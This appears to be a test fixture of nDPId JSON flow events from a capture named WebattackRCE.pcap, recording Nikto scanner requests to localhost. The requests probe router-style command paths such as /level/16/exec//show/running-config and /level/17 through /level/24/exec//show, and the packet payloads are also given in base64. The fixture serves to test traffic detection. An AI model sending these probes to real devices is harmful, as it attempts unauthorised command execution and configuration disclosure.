+00795{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":560,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":560,"flow_packet_id":1,"flow_first_seen":1576420277574,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50682,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/level\/16\/exec\/\/show\/interfaces","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001259)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":561,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":561,"flow_packet_id":1,"flow_first_seen":1576420277575,"flow_last_seen":0,"flow_tot_l4_data_len":207,"flow_min_l4_data_len":207,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":207,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50684,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00672{"flow_id":561,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":575857,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"AAAAAAAAAAAAAAAACABFAADj4RhAAEAGWvp\/AAABfwAAAcX8H5B4Mdnl8T5RpIAYAED+1wAAAQEICp1m\/m+dZv5vR0VUIC9sZXZlbC8xNi9sZXZlbC8xNi9leGVjLy9zaG93L2ludGVyZmFjZXMvc3RhdHVzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjApDQoNCg=="} +00803{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":561,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":561,"flow_packet_id":1,"flow_first_seen":1576420277575,"flow_last_seen":0,"flow_tot_l4_data_len":207,"flow_min_l4_data_len":207,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":207,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50684,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/level\/16\/exec\/\/show\/interfaces\/status","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001260)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":562,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":562,"flow_packet_id":1,"flow_first_seen":1576420277577,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50686,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":562,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":577232,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAAAAAAAAAAAAACABFAADZSeNAAEAG8jl\/AAABfwAAAcX+H5DfuHEUhorfS4AYAED+zQAAAQEICp1m\/nGdZv5xR0VUIC9sZXZlbC8xNi9sZXZlbC8xNi9leGVjLy9zaG93L3ZlcnNpb24gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjEpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":562,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":562,"flow_packet_id":1,"flow_first_seen":1576420277577,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50686,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/level\/16\/exec\/\/show\/version","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001261)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":563,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":563,"flow_packet_id":1,"flow_first_seen":1576420277578,"flow_last_seen":0,"flow_tot_l4_data_len":227,"flow_min_l4_data_len":227,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":227,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50688,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00696{"flow_id":563,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":578708,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AAAAAAAAAAAAAAAACABFAAD3GI1AAEAGI3J\/AAABfwAAAcYAH5BPCyB6v01M8IAYAED+6wAAAQEICp1m\/nKdZv5yR0VUIC9sZXZlbC8xNi9sZXZlbC8xNi9leGVjLy9zaG93L3J1bm5pbmctY29uZmlnL2ludGVyZmFjZS9GYXN0RXRoZXJuZXQgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTI2MikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00824{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":563,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":563,"flow_packet_id":1,"flow_first_seen":1576420277578,"flow_last_seen":0,"flow_tot_l4_data_len":227,"flow_min_l4_data_len":227,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":227,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50688,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/level\/16\/exec\/\/show\/running-config\/interface\/FastEthernet","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001262)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":564,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":564,"flow_packet_id":1,"flow_first_seen":1576420277580,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50690,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":564,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":580200,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIjaNAAEAGrop\/AAABfwAAAcYCH5DxgrVTaB5HZIAYAED+vAAAAQEICp1m\/nSdZv50R0VUIC9sZXZlbC8xNi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":564,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":564,"flow_packet_id":1,"flow_first_seen":1576420277580,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50690,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001263)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":565,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":565,"flow_packet_id":1,"flow_first_seen":1576420277581,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50692,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":565,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":581906,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI2jFAAEAGYfx\/AAABfwAAAcYEH5BCjuLdnOtotYAYAED+vAAAAQEICp1m\/nWdZv51R0VUIC9sZXZlbC8xNy9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjQpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":565,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":565,"flow_packet_id":1,"flow_first_seen":1576420277581,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50692,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/17\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001264)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":566,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":566,"flow_packet_id":1,"flow_first_seen":1576420277583,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50694,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":566,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":583459,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIW7pAAEAG4HN\/AAABfwAAAcYGH5CxzGNMmxSh6IAYAED+vAAAAQEICp1m\/nedZv53R0VUIC9sZXZlbC8xOC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjY1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":566,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":566,"flow_packet_id":1,"flow_first_seen":1576420277583,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50694,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/18\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001265)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":567,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":567,"flow_packet_id":1,"flow_first_seen":1576420277584,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50696,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":567,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":584853,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIKRRAAEAGExp\/AAABfwAAAcYIH5CpMBHnxNoUUoAYAED+vAAAAQEICp1m\/nidZv54R0VUIC9sZXZlbC8xOS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjYpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":567,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":567,"flow_packet_id":1,"flow_first_seen":1576420277584,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50696,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/19\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001266)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":568,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":568,"flow_packet_id":1,"flow_first_seen":1576420277586,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50698,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":568,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":586207,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIukpAAEAGgeN\/AAABfwAAAcYKH5AiT4K97CCbIYAYAED+vAAAAQEICp1m\/nqdZv56R0VUIC9sZXZlbC8yMC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjY3KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":568,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":568,"flow_packet_id":1,"flow_first_seen":1576420277586,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50698,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/20\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001267)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":569,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":569,"flow_packet_id":1,"flow_first_seen":1576420277588,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50700,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":569,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":588914,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIUb5AAEAG6m9\/AAABfwAAAcYMH5BdL2lKom\/agYAYAED+vAAAAQEICp1m\/nydZv58R0VUIC9sZXZlbC8yMS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":569,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":569,"flow_packet_id":1,"flow_first_seen":1576420277588,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50700,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/21\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001268)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":570,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":570,"flow_packet_id":1,"flow_first_seen":1576420277590,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50702,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":570,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":590524,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIMkhAAEAGCeZ\/AAABfwAAAcYOH5Ck4gq0tTkM3YAYAED+vAAAAQEICp1m\/n6dZv5+R0VUIC9sZXZlbC8yMi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNjkpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":570,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":570,"flow_packet_id":1,"flow_first_seen":1576420277590,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50702,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/22\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001269)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":571,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":571,"flow_packet_id":1,"flow_first_seen":1576420277592,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50704,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":571,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":592115,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIGgdAAEAGIid\/AAABfwAAAcYQH5AVMSL0hIVMXoAYAED+vAAAAQEICp1m\/oCdZv5\/R0VUIC9sZXZlbC8yMy9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjcwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":571,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":571,"flow_packet_id":1,"flow_first_seen":1576420277592,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50704,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/23\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001270)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":572,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":572,"flow_packet_id":1,"flow_first_seen":1576420277593,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50706,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":572,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":593670,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI3vBAAEAGXT1\/AAABfwAAAcYSH5AD6eYZLZCITIAYAED+vAAAAQEICp1m\/oGdZv6BR0VUIC9sZXZlbC8yNC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNzEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":572,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":572,"flow_packet_id":1,"flow_first_seen":1576420277593,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50706,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/24\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001271)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":573,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":573,"flow_packet_id":1,"flow_first_seen":1576420277595,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50708,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 